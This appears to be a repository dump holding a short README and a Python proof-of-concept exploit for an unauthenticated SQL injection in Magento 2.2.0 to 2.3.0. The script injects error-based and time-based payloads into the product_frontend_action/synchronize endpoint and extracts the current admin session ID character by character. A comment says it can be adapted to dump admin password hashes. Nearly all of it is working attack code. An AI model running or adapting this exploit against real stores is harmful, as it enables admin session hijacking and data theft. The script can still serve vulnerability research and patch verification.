├── README.md └── magento-sqli.py /README.md: -------------------------------------------------------------------------------- 1 | # References 2 | 3 | [Ambionics' blog](https://www.ambionics.io/blog/magento-sqli). 4 | -------------------------------------------------------------------------------- /magento-sqli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Magento 2.2.0 <= 2.3.0 Unauthenticated SQLi 3 | # Charles Fol 4 | # 2019-03-22 5 | # 6 | # SOURCE & SINK 7 | # The sink (from-to SQL condition) has been present from Magento 1.x onwards. 8 | # The source (/catalog/product_frontend_action/synchronize) from 2.2.0. 9 | # If your target runs Magento < 2.2.0, you need to find another source. 10 | # 11 | # SQL INJECTION 12 | # The exploit can easily be modified to obtain other stuff from the DB, for 13 | # instance admin/user password hashes. 14 | # 15 | 16 | import requests 17 | import string 18 | import binascii 19 | import re 20 | import random 21 | import time 22 | import sys 23 | from urllib3.exceptions import InsecureRequestWarning 24 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 25 | 26 | def run(url): 27 | sqli = SQLInjection(url) 28 | 29 | try: 30 | sqli.find_test_method() 31 | sid = sqli.get_most_recent_session() 32 | except ExploitError as e: 33 | print('Error: %s' % e) 34 | 35 | 36 | def random_string(n=8): 37 | return ''.join(random.choice(string.ascii_letters) for _ in range(n)) 38 | 39 | 40 | class ExploitError(Exception): 41 | pass 42 | 43 | 44 | class Browser: 45 | """Basic browser functionality along w/ URLs and payloads. 46 | """ 47 | PROXY = None 48 | 49 | def __init__(self, URL): 50 | self.URL = URL 51 | self.s = requests.Session() 52 | self.s.verify = False 53 | if self.PROXY: 54 | self.s.proxies = { 55 | 'http': self.PROXY, 56 | 'https': self.PROXY, 57 | } 58 | 59 | 60 | class SQLInjection(Browser): 61 | """SQL injection stuff. 62 | """ 63 | 64 | def encode(self, string): 65 | return '0x' + binascii.b2a_hex(string.encode()).decode() 66 | 67 | def find_test_method(self): 68 | """Tries to inject using an error-based technique, or falls back to timebased. 69 | """ 70 | for test_method in (self.test_error, self.test_timebased): 71 | if test_method('123=123') and not test_method('123=124'): 72 | self.test = test_method 73 | break 74 | else: 75 | raise ExploitError('Test SQL injections failed, not vulnerable ?') 76 | 77 | def test_timebased(self, condition): 78 | """Runs a test. A valid condition results in a sleep of 1 second. 79 | """ 80 | payload = '))) OR (SELECT*FROM (SELECT SLEEP((%s)))a)=1 -- -' % condition 81 | r = self.s.get( 82 | self.URL + '/catalog/product_frontend_action/synchronize', 83 | params={ 84 | 'type_id': 'recently_products', 85 | 'ids[0][added_at]': '', 86 | 'ids[0][product_id][from]': '?', 87 | 'ids[0][product_id][to]': payload 88 | } 89 | ) 90 | return r.elapsed.total_seconds() > 1 91 | 92 | def test_error(self, condition): 93 | """Runs a test. An invalid condition results in an SQL error. 94 | """ 95 | payload = '))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE %s) -- -' % condition 96 | r = self.s.get( 97 | self.URL + '/catalog/product_frontend_action/synchronize', 98 | params={ 99 | 'type_id': 'recently_products', 100 | 'ids[0][added_at]': '', 101 | 'ids[0][product_id][from]': '?', 102 | 'ids[0][product_id][to]': payload 103 | } 104 | ) 105 | if r.status_code not in (200, 400): 106 | raise ExploitError( 107 | 'SQL injection does not yield a correct HTTP response' 108 | ) 109 | return r.status_code == 400 110 | 111 | def word(self, name, sql, size=None, charset=None): 112 | """Dichotomically obtains a value. 113 | """ 114 | pattern = 'LOCATE(SUBSTR((%s),%d,1),BINARY %s)=0' 115 | full = '' 116 | 117 | check = False 118 | 119 | if size is None: 120 | # Yeah whatever 121 | size_size = self.word( 122 | name, 123 | 'LENGTH(LENGTH(%s))' % sql, 124 | size=1, 125 | charset=string.digits 126 | ) 127 | size = self.word( 128 | name, 129 | 'LENGTH(%s)' % sql, 130 | size=int(size_size), 131 | charset=string.digits 132 | ) 133 | size = int(size) 134 | 135 | print("%s: %s" % (name, full), end='\r') 136 | 137 | for p in range(size): 138 | c = charset 139 | 140 | while len(c) > 1: 141 | middle = len(c) // 2 142 | h0, h1 = c[:middle], c[middle:] 143 | condition = pattern % (sql, p+1, self.encode(h0)) 144 | c = h1 if self.test(condition) else h0 145 | 146 | full += c 147 | print("%s: %s" % (name, full), end='\r') 148 | 149 | print(' ' * len("%s: %s" % (name, full)), end='\r') 150 | 151 | return full 152 | 153 | def get_most_recent_session(self): 154 | """Grabs the last created session. We don't need special privileges aside from creating a product so any session 155 | should do. Otherwise, the process can be improved by grabbing each session one by one and trying to reach the 156 | backend. 157 | """ 158 | # This is the default admin session timeout 159 | session_timeout = 900 160 | query = ( 161 | 'SELECT %%s FROM admin_user_session ' 162 | 'WHERE TIMESTAMPDIFF(SECOND, updated_at, NOW()) BETWEEN 0 AND %d ' 163 | 'ORDER BY created_at DESC, updated_at DESC LIMIT 1' 164 | ) % session_timeout 165 | 166 | # Check if a session is available 167 | 168 | available = not self.test('(%s)=0' % (query % 'COUNT(*)')) 169 | 170 | if not available: 171 | raise ExploitError('No session is available') 172 | print('An admin session is available !') 173 | 174 | # Fetch it 175 | 176 | sid = self.word( 177 | 'Session ID', 178 | query % 'session_id', 179 | charset=string.ascii_lowercase + string.digits, 180 | size=26 181 | ) 182 | print('Session ID: %s' % sid) 183 | return sid 184 | 185 | run(sys.argv[1]) 186 | --------------------------------------------------------------------------------